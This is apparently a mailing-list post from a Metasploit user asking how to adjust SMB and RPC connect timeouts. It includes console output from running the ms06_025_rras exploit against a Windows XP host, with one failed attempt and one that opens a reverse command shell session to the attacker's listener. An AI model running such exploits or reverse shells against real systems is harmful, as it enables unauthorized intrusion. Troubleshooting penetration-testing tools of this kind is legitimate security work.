Changing the RPC connect timeouts.

[jdness at mac.com (Jonathan Ness)]

How can I change the connect timeout associated with RPC bind requests for exploits using SMB named pipes?  I'm getting 
sporadic error messages, sometimes even on working exploit attempts.  The output below shows an exploit binding to 
\srvsvc on XPSP1 anonymously.  The first attempt claims "Login Failed".  The second attempt worked but appears to have 
timed out at some level before returning control of it to me.  I suspect that a mismatch between exploit and payload 
timeouts or something like that.

msf exploit(ms06_025_rras) > exploit
[*] Started reverse handler
[-] Exploit failed: Login Failed: The SMB server did not reply to our request
msf exploit(ms06_025_rras) > exploit
[*] Started reverse handler
[*] Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0 at ncacn_np:192.168.1.220[\SRVSVC] ...
[*] Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0 at ncacn_np:192.168.1.220[\SRVSVC] ...
[*] Getting OS...
[*] Calling the vulnerable function on Windows XP...
[*] Command shell session 3 opened (192.168.1.113:4444 -> 192.168.1.220:1034)
[-] Exploit failed: The SMB server did not reply to our request
msf exploit(ms06_025_rras) > sessions -l

Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  3   Command shell  192.168.1.113:4444 -> 192.168.1.220:1034

The exploit ruby shows;

                connect()
                smb_login()

Looks like smb_login is defined in lib\msf\core\exploit\smb.rb but that is too high level.  I see connect() defined 
just above it there but no timeout there.  I see active_timeout used in the bind_tcp handler but that is 120 seconds 
and I don't think it went a full two minutes before timing out in the example above.  

Repeated attempts seems to work ok so its not a huge deal but it'd be nice to know what's going on.  

Thanks

Jonathan